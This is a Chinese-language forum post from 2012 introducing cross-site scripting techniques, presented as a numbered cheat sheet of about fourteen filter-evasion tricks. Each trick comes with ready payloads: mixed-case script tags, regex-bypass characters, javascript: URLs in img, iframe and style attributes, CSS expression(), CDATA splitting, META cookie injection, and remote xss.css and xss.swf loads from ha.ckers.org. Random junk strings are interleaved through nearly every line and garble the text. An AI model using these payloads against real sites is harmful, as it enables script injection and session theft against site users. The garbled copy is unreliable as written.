找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2266|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
2 u# _7 [, a, [/ W+ P  u% s4 I/ D( G+ v
1 n6 J. c/ u; `) |0 a% n+ U+ w: C
6 e2 m8 d: K! Q
    <sCript>alert(‘d’)</scRipT># e! J/ q# m( G! D# t3 m$ v- [% h
" C/ J5 S0 \9 ^$ a, `
2. 利用多加一些其它字符来规避Regular Expression的检查) q9 s, ]1 `$ `; m- n  D, w1 |

; H# g% v( ^7 ]$ b  `    <<script>alert(‘c’)//<</script>
9 f* d9 L; J( w; {- M1 F/ l' C+ H# A/ t$ J5 B) H
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
$ g# x0 M0 I! {
+ p1 \* A) Y8 t3 S0 x+ n; K9 Z    <SCRIPT =">" SRC="t.js"></SCRIPT>
! e* Z" l5 @) m0 w
& i9 Z% U) p* t2 g    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
% Y# g2 D8 K. n; @0 W6 x' G( a4 g$ C) _, j, z9 V* _0 F
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
- S! ?7 G# f, j/ K8 k: I* m* m- J7 b5 W& x* `
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>0 D" z5 }) o. y

5 Q- @8 g& S' M% B    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
. U0 X6 j9 o" T$ ?( Q) H" @
1 w' g- e7 ?, P% ]  b3. 以其它扩展名取代.js& f! L5 t0 h" B. N. g: }' S) S3 L

& @2 C" T( x, m( o3 h8 u- I* h    <script src="bad.jpg"></script># U& a, v/ f7 y, S
5 c. @% ?2 ~: W0 ^1 B1 g9 l! V
4. 将Javascript写在CSS档里% V3 P' G9 }8 d4 H( E

+ R. `4 y" w% t2 {* j! x2 F" r    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">8 K1 t: I0 i* J1 B8 Q; }9 g4 L) t
" [2 P1 G, e5 w2 H
       example:* S+ A, ]0 f4 s6 ]( J. T; ?
3 q+ D& I* j  ~  u; N6 Z- r( I
          body {& z+ @+ P& v: N* \
$ I! ~' r& E5 o6 }1 v  ~4 ~0 W$ ]
               background-image: url(‘javascript:alert("XSS");’)6 ^8 K' U% v# k: T
4 i4 r' m" C5 ~+ _! o
          }
/ v; M2 L* [+ {( j# P- F
1 p7 X0 A0 r1 s5 t5. 在script的tag里加入一些其它字符: Q. U6 x) \/ ?- _. Q

5 N& V0 W/ k% x' U    <SCRIPT/SRC="t.js"></SCRIPT>
2 v2 D9 E# B" D" X7 G9 I2 z! |8 p0 ?. ]- d+ d
    <SCRIPT/anyword SRC="t.js"></SCRIPT>7 W" Z& L0 w  i
/ P* q" r  P$ a- P# C+ ~- r
6. 使用tab或是new line来规避  [+ T# T! J' D

" P" c  P. }0 n7 w2 E    <img src="jav ascr ipt:alert(‘XSS3′)">
. b% k! G! P- H* V8 J
$ L) W7 J- |: E; M& x& q- g" z5 m' g    <img src="jav ascr ipt:alert(‘XSS3′)">
- n) p) A6 s, U9 j/ n2 g3 v* B/ O: a  a; x7 W
    <IMG SRC="jav ascript:alert(‘XSS’);">
1 e8 i3 y, I8 a
- h) c, R) D1 l2 P; K9 X         -> tag/ f; k) L" Y# ^) q) h- C
4 A" k  L( e# `, r  g
         -> new line4 L+ ]7 d; t( h7 ~3 h
! C4 k, Q7 C9 K7 V
7. 使用"\"来规避) N6 m! Q5 v7 ~3 {# \9 D- d  F- v

: ]/ W3 p$ \& b6 p5 ~: t    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>2 D! L/ z. w, m3 x
0 @# {0 [% H- y" s
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
7 {) x, Y+ w( _; e) M0 I2 s& V1 n6 q* u6 [# [
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
) U! ^; ?4 c4 n1 O/ C' m% K3 J- T* B. h( e% L1 u
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 f# N, M$ E- x1 U: X# K
8 @3 t+ P- ]% z
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, I+ X: e; c; [8 L; \& O, t! m" X" ~+ g# S2 p* h
8. 使用Hex encode来规避(也可能会把";"拿掉)
. C' ]8 }! R5 \- B9 @' |8 |$ ?: y& D8 V- ?1 r5 |; Q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
4 f2 m$ M$ U) p( W2 o& f
: A# g( A( Y% {3 Y* Y& M        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 g) p; E# K6 i3 l+ I1 s* F
) X4 c  i; e" q" u    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">. B7 \1 d  H" S; S0 c3 _/ v
  h8 m' S4 j  N0 r! B
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 B4 ~( ^8 Y6 ?2 m$ m' m$ k
1 g/ n, ?  r1 K  C
9. script in HTML tag  l+ S3 d* P  m

. K' B- D; R5 @! ~4 d- C0 `    <body onload=」alert(‘onload’)」>' u( Z% E8 u" c  J8 m) `
! {! p% F; A+ p8 B, n& a: C
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload. R( j" l' m% [9 Y2 l- s( z

3 ?+ r7 s! N3 l' ]6 N; y10. 在swf里含有xss的code
1 S% T& w, G6 |. C% |  o$ F" n  Z; o3 N3 ]( K" c- W
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
, A- {7 x7 h7 Y% b' n/ e" v: L0 X! Q
11. 利用CDATA将xss的code拆开,再组合起来。! N4 D5 A7 G0 i3 K* p

# W  G& J8 O; N7 N5 b( P    <XML ID=I><X><C>4 _( G$ W5 m! T* Q+ `  V
0 j' n$ G6 v- P) r3 O! S
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
: K  {" t0 n1 v5 W3 ]
# {1 o0 R% i# i0 r3 X8 L    </C></X>% c& ]9 ^5 Q/ e

- `9 b1 |. Z# D    </xml>
6 h2 `( G2 s1 u8 V* Q* D
# Q8 w7 i4 ~7 @& `( o/ Q: p    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>8 e  d4 U$ L$ C2 L5 u* ]

, ^, Y  w2 p+ Q* G" [    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
, K! v* G& S$ F6 j' \  A
: T5 L' e" T/ ^- J3 Q    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>6 Z+ @% I, O/ c2 F" B
" w$ |% p, p5 e) e/ @4 z1 t
12. 利用HTML+TIME。
; C$ h9 P5 h+ m* d9 i! [1 ?: d# v! B% O! j* m4 r
    <HTML><BODY>! t/ Y6 p% d9 V1 B* Y/ r) L8 |
! y, g# i/ S2 Q: O) J
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">6 }- F* @2 A  ^; c  S( `; r
: A) s" X. K9 I- i6 T
    <?import namespace="t" implementation="#default#time2">
; ~7 I" f! H0 X+ P- x: a* n  r% S. j5 _7 d# T" I5 `& s
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">$ Q( G+ Z) j1 K6 y
' N6 r3 e+ N* ~$ G9 L% |
    </BODY></HTML>  @  J) @& ]# l
8 M% L3 y0 o: X  X) E+ r. b& O# n
13. 透过META写入Cookie。1 r- \8 t9 {; \3 u
( _) O! L, R2 s0 M7 Y
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"># k0 ~' e2 R$ k+ H: c
! G6 R' h; |0 v; R
14. javascript in src , href , url2 s( ^% S1 L( ]' C  H* I
" d, F9 G- e* _( X! Q/ x
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
7 W) S9 h- @( @( O& x! e
6 g* U7 U1 G/ A- }7 v    <img src="javascript:alert(‘XSS3′)">& |' D3 c  g& W5 ~, _0 E/ [2 F1 h
/ r3 |% K" o- c2 ~9 R9 `7 H
<IMG DYNSRC="javascript:alert(‘XSS20′)">
" ]; @9 S' `; V7 H0 N/ h( [. ?3 U0 O0 M, d7 f# r  q# s$ ]
    <IMG LOWSRC="javascript:alert(‘XSS21′)">
, ]7 J4 P( X0 h& D% p5 ]# t9 T! i; R
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
0 d8 m  E: @# A6 t8 M. h# w! d' o: d; p# q6 h
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
; E0 H$ ^5 Z+ F, j
, u3 T! N2 x# D+ Z    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
2 L4 c; t  u  t/ t! h9 H
( M* A  v) g4 S+ @$ c    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
! ]* E  [$ R: C9 W/ i0 l
8 e2 I' u1 T9 W1 A    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}: v. ~& O5 r/ I

4 Q2 ]0 G4 B+ ?: w3 S4 y0 A    </STYLE><A CLASS=XSS></A>$ k* H! t" T  @2 z" ?

. G1 y' x' D6 M/ `    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
7 s8 k( j: T* e& ^; {+ n7 V; V9 p, O7 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表